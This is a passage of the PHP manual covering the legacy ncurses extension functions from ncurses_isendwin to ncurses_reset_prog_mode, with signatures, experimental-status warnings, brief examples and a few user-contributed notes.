Returns TRUE, if ncurses_end() has been called without any subsequent calls to ncurses_wrefresh(), FALSE otherwise.

See Also

  • ncurses_end() - Stop using ncurses, clean up the screen
  • ncurses_wrefresh() - Refresh window on terminal screen

User Contributed Notes

There are no user contributed notes for this page.


Enable or disable a keycode

  • « ncurses_isendwin
  • ncurses_keypad »
  • PHP Manual
  • Ncurses Functions
  • Enable or disable a keycode

ncurses_keyok

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_keyok — Enable or disable a keycode

Description

int ncurses_keyok ( int $keycode , bool $enable )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

keycode

enable

User Contributed Notes

There are no user contributed notes for this page.


Turns keypad on or off

  • « ncurses_keyok
  • ncurses_killchar »
  • PHP Manual
  • Ncurses Functions
  • Turns keypad on or off

ncurses_keypad

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_keypad — Turns keypad on or off

Description

int ncurses_keypad ( resource $window , bool $bf )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

bf

User Contributed Notes

There are no user contributed notes for this page.


Returns current line kill character

  • « ncurses_keypad
  • ncurses_longname »
  • PHP Manual
  • Ncurses Functions
  • Returns current line kill character

ncurses_killchar

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_killchar — Returns current line kill character

Description

string ncurses_killchar ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the current line kill character.

Return Values

Returns the kill character, as a string.

See Also

  • ncurses_erasechar() - Returns current erase character

User Contributed Notes

There are no user contributed notes for this page.


Returns terminals description

  • « ncurses_killchar
  • ncurses_meta »
  • PHP Manual
  • Ncurses Functions
  • Returns terminals description

ncurses_longname

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_longname — Returns terminals description

Description

string ncurses_longname ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns a verbose description of the terminal.

Return Values

Returns the description, as a string truncated to 128 characters. On errors, returns NULL.

See Also

  • ncurses_termname() - Returns terminals (short)-name

User Contributed Notes

There are no user contributed notes for this page.


Enables/Disable 8-bit meta key information

  • « ncurses_longname
  • ncurses_mouse_trafo »
  • PHP Manual
  • Ncurses Functions
  • Enables/Disable 8-bit meta key information

ncurses_meta

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_meta — Enables/Disable 8-bit meta key information

Description

int ncurses_meta ( resource $window , bool $8bit )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

8bit

User Contributed Notes

There are no user contributed notes for this page.


Transforms coordinates

  • « ncurses_meta
  • ncurses_mouseinterval »
  • PHP Manual
  • Ncurses Functions
  • Transforms coordinates

ncurses_mouse_trafo

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mouse_trafo — Transforms coordinates

Description

bool ncurses_mouse_trafo ( int &$y , int &$x , bool $toscreen )
Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

toscreen

User Contributed Notes

There are no user contributed notes for this page.


Set timeout for mouse button clicks

  • « ncurses_mouse_trafo
  • ncurses_mousemask »
  • PHP Manual
  • Ncurses Functions
  • Set timeout for mouse button clicks

ncurses_mouseinterval

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mouseinterval — Set timeout for mouse button clicks

Description

int ncurses_mouseinterval ( int $milliseconds )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

milliseconds

User Contributed Notes

There are no user contributed notes for this page.


Sets mouse options

  • « ncurses_mouseinterval
  • ncurses_move_panel »
  • PHP Manual
  • Ncurses Functions
  • Sets mouse options

ncurses_mousemask

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mousemask — Sets mouse options

Description

int ncurses_mousemask ( int $newmask , int &$oldmask )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets mouse events to be reported. By default no mouse events will be reported.

Mouse events are represented by NCURSES_KEY_MOUSE in the ncurses_wgetch() input stream. To read the event data and pop the event of queue, call ncurses_getmouse().

Parameters

newmask

Mouse mask options can be set with the following predefined constants:

  • NCURSES_BUTTON1_PRESSED

  • NCURSES_BUTTON1_RELEASED

  • NCURSES_BUTTON1_CLICKED

  • NCURSES_BUTTON1_DOUBLE_CLICKED

  • NCURSES_BUTTON1_TRIPLE_CLICKED

  • NCURSES_BUTTON2_PRESSED

  • NCURSES_BUTTON2_RELEASED

  • NCURSES_BUTTON2_CLICKED

  • NCURSES_BUTTON2_DOUBLE_CLICKED

  • NCURSES_BUTTON2_TRIPLE_CLICKED

  • NCURSES_BUTTON3_PRESSED

  • NCURSES_BUTTON3_RELEASED

  • NCURSES_BUTTON3_CLICKED

  • NCURSES_BUTTON3_DOUBLE_CLICKED

  • NCURSES_BUTTON3_TRIPLE_CLICKED

  • NCURSES_BUTTON4_PRESSED

  • NCURSES_BUTTON4_RELEASED

  • NCURSES_BUTTON4_CLICKED

  • NCURSES_BUTTON4_DOUBLE_CLICKED

  • NCURSES_BUTTON4_TRIPLE_CLICKED

  • NCURSES_BUTTON_SHIFT>

  • NCURSES_BUTTON_CTRL

  • NCURSES_BUTTON_ALT

  • NCURSES_ALL_MOUSE_EVENTS

  • NCURSES_REPORT_MOUSE_POSITION

As a side effect, setting a zero mousemask in newmask turns off the mouse pointer. Setting a non zero value turns mouse pointer on.

oldmask

This will be set to the previous value of the mouse event mask.

Return Values

Returns a mask to indicated which of the in parameter newmask specified mouse events can be reported. On complete failure, it returns 0.

Examples

Example #1 ncurses_mousemask() example

<?php
$newmask = NCURSES_BUTTON1_CLICKED + NCURSES_BUTTON1_RELEASED;
$mask = ncurses_mousemask($newmask, $oldmask);
if ($mask & $newmask){
    printf("All specified mouse options will be supported\n");
}
?>

See Also

  • ncurses_getch() - Read a character from keyboard
  • ncurses_getmouse() - Reads mouse event
  • ncurses_ungetmouse() - Pushes mouse event to queue

User Contributed Notes

There are no user contributed notes for this page.


Moves a panel so that its upper-left corner is at [startx, starty]

  • « ncurses_mousemask
  • ncurses_move »
  • PHP Manual
  • Ncurses Functions
  • Moves a panel so that its upper-left corner is at [startx, starty]

ncurses_move_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_move_panel — Moves a panel so that its upper-left corner is at [startx, starty]

Description

int ncurses_move_panel ( resource $panel , int $startx , int $starty )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

startx

starty

User Contributed Notes

aholmes at barracuda dot com 03-Jun-2010 06:48
Note that, according to move_panel(3), the move_panel prototype is "int move_panel(PANEL *pan, int starty, int startx)," while the PHP function switches starty and startx.

The PHP function and this function documentation are in conjunction with each other, but they do not match the move_panel prototype and call it incorrectly.


Move output position

  • « ncurses_move_panel
  • ncurses_mvaddch »
  • PHP Manual
  • Ncurses Functions
  • Move output position

ncurses_move

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_move — Move output position

Description

int ncurses_move ( int $y , int $x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

User Contributed Notes

There are no user contributed notes for this page.


Move current position and add character

  • « ncurses_move
  • ncurses_mvaddchnstr »
  • PHP Manual
  • Ncurses Functions
  • Move current position and add character

ncurses_mvaddch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddch — Move current position and add character

Description

int ncurses_mvaddch ( int $y , int $x , int $c )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

c

User Contributed Notes

There are no user contributed notes for this page.


Move position and add attributed string with specified length

  • « ncurses_mvaddch
  • ncurses_mvaddchstr »
  • PHP Manual
  • Ncurses Functions
  • Move position and add attributed string with specified length

ncurses_mvaddchnstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddchnstr — Move position and add attributed string with specified length

Description

int ncurses_mvaddchnstr ( int $y , int $x , string $s , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

s

n

User Contributed Notes

john at weider dot cc 18-Oct-2002 07:40
Additional constants:

    NCURSES_A_NORMAL
    NCURSES_A_STANDOUT
    NCURSES_A_UNDERLINE
    NCURSES_A_REVERSE
    NCURSES_A_BLINK
    NCURSES_A_DIM
    NCURSES_A_BOLD
    NCURSES_A_PROTECT
    NCURSES_A_INVIS
    NCURSES_A_ALTCHARSET
    NCURSES_A_CHARTEXT


Move position and add attributed string

  • « ncurses_mvaddchnstr
  • ncurses_mvaddnstr »
  • PHP Manual
  • Ncurses Functions
  • Move position and add attributed string

ncurses_mvaddchstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddchstr — Move position and add attributed string

Description

int ncurses_mvaddchstr ( int $y , int $x , string $s )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

s

User Contributed Notes

There are no user contributed notes for this page.


Move position and add string with specified length

  • « ncurses_mvaddchstr
  • ncurses_mvaddstr »
  • PHP Manual
  • Ncurses Functions
  • Move position and add string with specified length

ncurses_mvaddnstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddnstr — Move position and add string with specified length

Description

int ncurses_mvaddnstr ( int $y , int $x , string $s , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

s

n

User Contributed Notes

There are no user contributed notes for this page.


Move position and add string

  • « ncurses_mvaddnstr
  • ncurses_mvcur »
  • PHP Manual
  • Ncurses Functions
  • Move position and add string

ncurses_mvaddstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddstr — Move position and add string

Description

int ncurses_mvaddstr ( int $y , int $x , string $s )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

s

User Contributed Notes

There are no user contributed notes for this page.


Move cursor immediately

  • « ncurses_mvaddstr
  • ncurses_mvdelch »
  • PHP Manual
  • Ncurses Functions
  • Move cursor immediately

ncurses_mvcur

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvcur — Move cursor immediately

Description

int ncurses_mvcur ( int $old_y , int $old_x , int $new_y , int $new_x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

old_y

old_x

new_y

new_x

User Contributed Notes

nniico 17-Jun-2014 08:44
To simply move the cursor, use ncurses_move() instead.


Move position and delete character, shift rest of line left

  • « ncurses_mvcur
  • ncurses_mvgetch »
  • PHP Manual
  • Ncurses Functions
  • Move position and delete character, shift rest of line left

ncurses_mvdelch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvdelch — Move position and delete character, shift rest of line left

Description

int ncurses_mvdelch ( int $y , int $x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

User Contributed Notes

There are no user contributed notes for this page.


Move position and get character at new position

  • « ncurses_mvdelch
  • ncurses_mvhline »
  • PHP Manual
  • Ncurses Functions
  • Move position and get character at new position

ncurses_mvgetch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvgetch — Move position and get character at new position

Description

int ncurses_mvgetch ( int $y , int $x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

User Contributed Notes

There are no user contributed notes for this page.


Set new position and draw a horizontal line using an attributed character and max. n characters long

  • « ncurses_mvgetch
  • ncurses_mvinch »
  • PHP Manual
  • Ncurses Functions
  • Set new position and draw a horizontal line using an attributed character and max. n characters long

ncurses_mvhline

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvhline — Set new position and draw a horizontal line using an attributed character and max. n characters long

Description

int ncurses_mvhline ( int $y , int $x , int $attrchar , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

attrchar

n

User Contributed Notes

There are no user contributed notes for this page.


Move position and get attributed character at new position

  • « ncurses_mvhline
  • ncurses_mvvline »
  • PHP Manual
  • Ncurses Functions
  • Move position and get attributed character at new position

ncurses_mvinch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvinch — Move position and get attributed character at new position

Description

int ncurses_mvinch ( int $y , int $x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

User Contributed Notes

There are no user contributed notes for this page.


Set new position and draw a vertical line using an attributed character and max. n characters long

  • « ncurses_mvinch
  • ncurses_mvwaddstr »
  • PHP Manual
  • Ncurses Functions
  • Set new position and draw a vertical line using an attributed character and max. n characters long

ncurses_mvvline

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvvline — Set new position and draw a vertical line using an attributed character and max. n characters long

Description

int ncurses_mvvline ( int $y , int $x , int $attrchar , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

attrchar

n

User Contributed Notes

There are no user contributed notes for this page.


Add string at new position in window

  • « ncurses_mvvline
  • ncurses_napms »
  • PHP Manual
  • Ncurses Functions
  • Add string at new position in window

ncurses_mvwaddstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvwaddstr — Add string at new position in window

Description

int ncurses_mvwaddstr ( resource $window , int $y , int $x , string $text )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

window

y

x

text

User Contributed Notes

There are no user contributed notes for this page.


Sleep

  • « ncurses_mvwaddstr
  • ncurses_new_panel »
  • PHP Manual
  • Ncurses Functions
  • Sleep

ncurses_napms

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_napms — Sleep

Description

int ncurses_napms ( int $milliseconds )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

milliseconds

User Contributed Notes

There are no user contributed notes for this page.


Create a new panel and associate it with window

  • « ncurses_napms
  • ncurses_newpad »
  • PHP Manual
  • Ncurses Functions
  • Create a new panel and associate it with window

ncurses_new_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_new_panel — Create a new panel and associate it with window

Description

resource ncurses_new_panel ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.


Creates a new pad (window)

  • « ncurses_new_panel
  • ncurses_newwin »
  • PHP Manual
  • Ncurses Functions
  • Creates a new pad (window)

ncurses_newpad

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_newpad — Creates a new pad (window)

Description

resource ncurses_newpad ( int $rows , int $cols )
Warning

This function is currently not documented; only its argument list is available.

Parameters

rows

cols

User Contributed Notes

There are no user contributed notes for this page.


Create a new window

  • « ncurses_newpad
  • ncurses_nl »
  • PHP Manual
  • Ncurses Functions
  • Create a new window

ncurses_newwin

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_newwin — Create a new window

Description

resource ncurses_newwin ( int $rows , int $cols , int $y , int $x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new window to draw elements in.

When creating additional windows, remember to use ncurses_getmaxyx() to check for available space, as terminal size is individual and may vary.

Parameters

rows

Number of rows

cols

Number of columns

y

y-coordinate of the origin

x

x-coordinate of the origin

Return Values

Returns a resource ID for the new window.

User Contributed Notes

There are no user contributed notes for this page.


Translate newline and carriage return / line feed

  • « ncurses_newwin
  • ncurses_nocbreak »
  • PHP Manual
  • Ncurses Functions
  • Translate newline and carriage return / line feed

ncurses_nl

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_nl — Translate newline and carriage return / line feed

Description

bool ncurses_nl ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Switch terminal to cooked mode

  • « ncurses_nl
  • ncurses_noecho »
  • PHP Manual
  • Ncurses Functions
  • Switch terminal to cooked mode

ncurses_nocbreak

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_nocbreak — Switch terminal to cooked mode

Description

bool ncurses_nocbreak ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns terminal to normal (cooked) mode. Initially the terminal may or may not in cbreak mode as the mode is inherited. Therefore a program should call ncurses_cbreak() and ncurses_nocbreak() explicitly.

Return Values

Returns TRUE if any error occurred, otherwise FALSE.

See Also

  • ncurses_cbreak() - Switch off input buffering

User Contributed Notes

There are no user contributed notes for this page.


Switch off keyboard input echo

  • « ncurses_nocbreak
  • ncurses_nonl »
  • PHP Manual
  • Ncurses Functions
  • Switch off keyboard input echo

ncurses_noecho

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_noecho — Switch off keyboard input echo

Description

bool ncurses_noecho ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Prevents echoing of user typed characters.

Return Values

Returns TRUE if any error occurred, FALSE otherwise.

See Also

  • ncurses_echo() - Activate keyboard input echo
  • ncurses_getch() - Read a character from keyboard

User Contributed Notes

kalenhall at me dot com 13-Sep-2013 04:12
The ncurses_noecho() function basically disables user input from being echoed to your present cursor location.

Re-enable with the ncurses_echo() function. Echo is enabled by default in a new ncurses session.


Do not translate newline and carriage return / line feed

  • « ncurses_noecho
  • ncurses_noqiflush »
  • PHP Manual
  • Ncurses Functions
  • Do not translate newline and carriage return / line feed

ncurses_nonl

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_nonl — Do not translate newline and carriage return / line feed

Description

bool ncurses_nonl ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Do not flush on signal characters

  • « ncurses_nonl
  • ncurses_noraw »
  • PHP Manual
  • Ncurses Functions
  • Do not flush on signal characters

ncurses_noqiflush

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_noqiflush — Do not flush on signal characters

Description

void ncurses_noqiflush ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Switch terminal out of raw mode

  • « ncurses_noqiflush
  • ncurses_pair_content »
  • PHP Manual
  • Ncurses Functions
  • Switch terminal out of raw mode

ncurses_noraw

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_noraw — Switch terminal out of raw mode

Description

bool ncurses_noraw ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Switches the terminal out of raw mode. Raw mode is similar to cbreak mode, in that characters typed are immediately passed through to the user program. The differences that are that in raw mode, the interrupt, quit, suspend and flow control characters are all passed through uninterpreted, instead of generating a signal.

Return Values

Returns TRUE if any error occurred, otherwise FALSE.

See Also

  • ncurses_raw() - Switch terminal into raw mode
  • ncurses_cbreak() - Switch off input buffering
  • ncurses_nocbreak() - Switch terminal to cooked mode

User Contributed Notes

There are no user contributed notes for this page.


Retrieves foreground and background colors of a color pair

  • « ncurses_noraw
  • ncurses_panel_above »
  • PHP Manual
  • Ncurses Functions
  • Retrieves foreground and background colors of a color pair

ncurses_pair_content

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_pair_content — Retrieves foreground and background colors of a color pair

Description

int ncurses_pair_content ( int $pair , int &$f , int &$b )

Retrieves the foreground and background colors that constitute the given color pair. Terminal color capabilities must be initialized with ncurses_start_color() prior to calling this function.

Parameters

pair

The number of the color pair to retrieve information for.

f

A reference to which to return the foreground color of the color pair. The information returned will be a color number referring to one of the pre-defined colors or a color defined previously by ncurses_init_color() if the terminal supports color changing.

b

A reference to which to return the background color of the color pair. The information returned will be a color number referring to one of the pre-defined colors or a color defined previously by ncurses_init_color() if the terminal supports color changing.

Return Values

Returns -1 if the function was successful, and 0 if ncurses or terminal color capabilities have not been initialized.

See Also

  • ncurses_init_pair() - Define a color pair
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.


Returns the panel above panel

  • « ncurses_pair_content
  • ncurses_panel_below »
  • PHP Manual
  • Ncurses Functions
  • Returns the panel above panel

ncurses_panel_above

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_panel_above — Returns the panel above panel

Description

resource ncurses_panel_above ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

Return Values

If panel is null, returns the bottom panel in the stack.

User Contributed Notes

There are no user contributed notes for this page.


Returns the panel below panel

  • « ncurses_panel_above
  • ncurses_panel_window »
  • PHP Manual
  • Ncurses Functions
  • Returns the panel below panel

ncurses_panel_below

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_panel_below — Returns the panel below panel

Description

resource ncurses_panel_below ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

Parameters

If panel is null, returns the top panel in the stack.

User Contributed Notes

There are no user contributed notes for this page.


Returns the window associated with panel

  • « ncurses_panel_below
  • ncurses_pnoutrefresh »
  • PHP Manual
  • Ncurses Functions
  • Returns the window associated with panel

ncurses_panel_window

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_panel_window — Returns the window associated with panel

Description

resource ncurses_panel_window ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

User Contributed Notes

There are no user contributed notes for this page.


Copies a region from a pad into the virtual screen

  • « ncurses_panel_window
  • ncurses_prefresh »
  • PHP Manual
  • Ncurses Functions
  • Copies a region from a pad into the virtual screen

ncurses_pnoutrefresh

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_pnoutrefresh — Copies a region from a pad into the virtual screen

Description

int ncurses_pnoutrefresh ( resource $pad , int $pminrow , int $pmincol , int $sminrow , int $smincol , int $smaxrow , int $smaxcol )
Warning

This function is currently not documented; only its argument list is available.

Parameters

pad

pminrow

pmincol

sminrow

smincol

smaxrow

smaxcol

User Contributed Notes

There are no user contributed notes for this page.


Copies a region from a pad into the virtual screen

  • « ncurses_pnoutrefresh
  • ncurses_putp »
  • PHP Manual
  • Ncurses Functions
  • Copies a region from a pad into the virtual screen

ncurses_prefresh

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_prefresh — Copies a region from a pad into the virtual screen

Description

int ncurses_prefresh ( resource $pad , int $pminrow , int $pmincol , int $sminrow , int $smincol , int $smaxrow , int $smaxcol )
Warning

This function is currently not documented; only its argument list is available.

Parameters

pad

pminrow

pmincol

sminrow

smincol

smaxrow

smaxcol

User Contributed Notes

There are no user contributed notes for this page.


Apply padding information to the string and output it

  • « ncurses_prefresh
  • ncurses_qiflush »
  • PHP Manual
  • Ncurses Functions
  • Apply padding information to the string and output it

ncurses_putp

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_putp — Apply padding information to the string and output it

Description

int ncurses_putp ( string $text )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

text

User Contributed Notes

There are no user contributed notes for this page.


Flush on signal characters

  • « ncurses_putp
  • ncurses_raw »
  • PHP Manual
  • Ncurses Functions
  • Flush on signal characters

ncurses_qiflush

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_qiflush — Flush on signal characters

Description

void ncurses_qiflush ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Switch terminal into raw mode

  • « ncurses_qiflush
  • ncurses_refresh »
  • PHP Manual
  • Ncurses Functions
  • Switch terminal into raw mode

ncurses_raw

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_raw — Switch terminal into raw mode

Description

bool ncurses_raw ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Places the terminal in raw mode. Raw mode is similar to cbreak mode, in that characters typed are immediately passed through to the user program. The differences that are that in raw mode, the interrupt, quit, suspend and flow control characters are all passed through uninterpreted, instead of generating a signal.

Return Values

Returns TRUE if any error occurred, otherwise FALSE.

See Also

  • ncurses_noraw() - Switch terminal out of raw mode
  • ncurses_cbreak() - Switch off input buffering
  • ncurses_nocbreak() - Switch terminal to cooked mode

User Contributed Notes

israelbz at yahoo dot com dot mx 15-Mar-2006 10:15
nc_raw() will reset ncurses_halfdelay():

<?php
  //This don't set the halfdelay mode
  ncurses_halfdelay(9);
  ncurses_raw();
?>

If you want set halfdelay and raw be shure put halfdelay after
raw:

<?php
  //Correct sets the halfdelay mode
  ncurses_raw();
  ncurses_halfdelay(9);
?>


Refresh screen

  • « ncurses_raw
  • ncurses_replace_panel »
  • PHP Manual
  • Ncurses Functions
  • Refresh screen

ncurses_refresh

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_refresh — Refresh screen

Description

int ncurses_refresh ( int $ch )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

ch

User Contributed Notes

There are no user contributed notes for this page.


Replaces the window associated with panel

  • « ncurses_refresh
  • ncurses_reset_prog_mode »
  • PHP Manual
  • Ncurses Functions
  • Replaces the window associated with panel

ncurses_replace_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_replace_panel — Replaces the window associated with panel

Description

int ncurses_replace_panel ( resource $panel , resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

window

User Contributed Notes

There are no user contributed notes for this page.


Resets the prog mode saved by def_prog_mode

  • « ncurses_replace_panel
  • ncurses_reset_shell_mode »
  • PHP Manual
  • Ncurses Functions
  • Resets the prog mode saved by def_prog_mode

ncurses_reset_prog_mode

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_reset_prog_mode — Resets the prog mode saved by def_prog_mode

Description

int ncurses_reset_prog_mode ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

